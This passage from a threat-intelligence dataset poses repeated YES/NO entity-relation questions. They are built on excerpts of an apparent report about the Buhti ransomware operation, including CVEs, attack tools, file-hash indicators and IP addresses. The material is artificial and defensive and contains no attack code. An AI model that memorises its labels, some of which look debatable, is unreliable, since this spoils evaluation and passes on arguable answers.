"YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Cobalt Strike\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Meterpreter\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Sliver\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: AnyDesk\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: ConnectWise\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPaperCut\n### Target Entity: Cobalt Strike\n### Text Passage:\nVulnerability exploitation\nRecent Buhti attacks exploited a recently discovered vulnerability in PaperCut NG and MF (CVE-2023-27350). The exploit allows an attacker to bypass authentication and remotely execute code. The vulnerability was disclosed and patched by PaperCut on March 15, 2023, and in recent weeks multiple threat actors have begun utilizing the exploit against unpatched systems.\nThe attackers exploited the vulnerability in order to install Cobalt Strike, Meterpreter, Sliver, AnyDesk, and ConnectWise. The tools were leveraged to steal data from, and deliver the ransomware payload to, multiple computers on the targeted network.\nBlacktail appears quick to utilise new exploits. In February, they were reported to be exploiting a vulnerability in IBM\u2019s Aspera Faspex file-exchange application (CVE-2022-47986).\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Blacktail\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: PaperCut\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLockBit\n### Target Entity: Windows\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Linux\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSymantec\n### Target Entity: Babuk\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855\n### Target Entity: Buhti\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti (Linux)\nd65225dc56d8ff0ea2205829c21b5803fcb03dc57a7e9da5062cbd74e1a6b7d6 - Buhti (Linux)\nd259be8dc016d8a2d9b89dbd7106e22a1df2164d84f80986baba5e9a51ed4a65 - Buhti (Linux)\n8b5c261a2fdaf9637dada7472b1b5dd1d340a47a00fe7c39a79cf836ef77e441 - Buhti (Linux)\n898d57b312603f091ff1a28cb2514a05bd9f0eb55ace5d6158cc118d1e37070a - Buhti (Linux)\n515777b87d723ebd6ffd5b755d848bb7d7eb50fc85b038cf25d69ca7733bd855 - Buhti (Linux)\n4dc407b28474c0b90f0c5173de5c4f1082c827864f045c4571890d967eadd880 - Buhti (Linux)\n22e74756935a2720eadacf03dc8fe5e7579f354a6494734e2183095804ef19fe - Buhti (Linux)\n18a79c8a97dcfff57e4984aa7e74aa6ded22af8e485e807b34b7654d6cf69eef - Buhti (Linux)\n01b09b554c30675cc83d4b087b31f980ba14e9143d387954df484894115f82d4 - Buhti (Linux)\n7eabd3ba288284403a9e041a82478d4b6490bc4b333d839cc73fa665b211982c - Buhti (Linux)\n287c07d78cafc97fb4b7ef364a228b708d31e8fe8e9b144f7db7d986a1badd52 - Buhti (Linux)\n32e815ef045a0975be2372b85449b25bd7a7c5a497c3facc2b54bcffcbb0041c - Cobalt Strike Beacon\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72 - Cobalt Strike Beacon\nd59df9c859ccd76c321d03702f0914debbadc036e168e677c57b9dcc16e980cb - Cobalt Strike Beacon\nde052ce06fea7ae3d711654bc182d765a3f440d2630e700e642811c89491df72 - Cobalt Strike Beacon\n65c91e22f5ce3133af93b69d8ce43de6b6ccac98fc8841fd485d74d30c2dbe7b - Meterpreter\n8041b82b8d0a4b93327bc8f0b71672b0e8f300dc7849d78bb2d72e2e0f147334 - Meterpreter\n8b2cf6af49fc3fb1f33e94ad02bd9e43c3c62ba2cfd25ff3dfc7a29dde2b20f2 - Meterpreter\n97378d58815a1b87f07beefb24b40c5fb57f8cce649136ff57990b957aa9d56a \u2013 Meterpreter\nc33e56318e574c97521d14d68d24b882ffb0ed65d96203970b482d8b2c332351 - Meterpreter\n9b8adde838c8ea2479b444ed0bb8c53b7e01e7460934a6f2e797de58c3a6a8bf - Possible Meterpreter\n9f0c35cc7aab2984d88490afdb515418306146ca72f49edbfbd85244e63cfabd - Exfiltration tool\nca6abfa37f92f45e1a69161f5686f719aaa95d82ad953d6201b0531fb07f0937 - Possible exfiltration tool\nbdfac069017d9126b1ad661febfab7eb1b8e70af1186a93cb4aff93911183f24 - Sliver\n91.215.85.183\n81.161.229.120\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5b3627910fe135475e48fd9e0e89e5ad958d3d500a0b1b5917f592dc6503ee72\n### Target Entity: Cobalt Strike\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n063fcedd3089e3cea8a7e07665ae033ba765b51a6dc1e7f54dde66a79c67e1e7 - Buhti (Windows)\neda0328bfd45d85f4db5dbb4340f38692175a063b7321b49b2c8ebae3ab2868c - Buhti (Linux)\ne5d65e826b5379ca47a371505678bca6071f2538f98b5fef9e33b45da9c06206 - Buhti 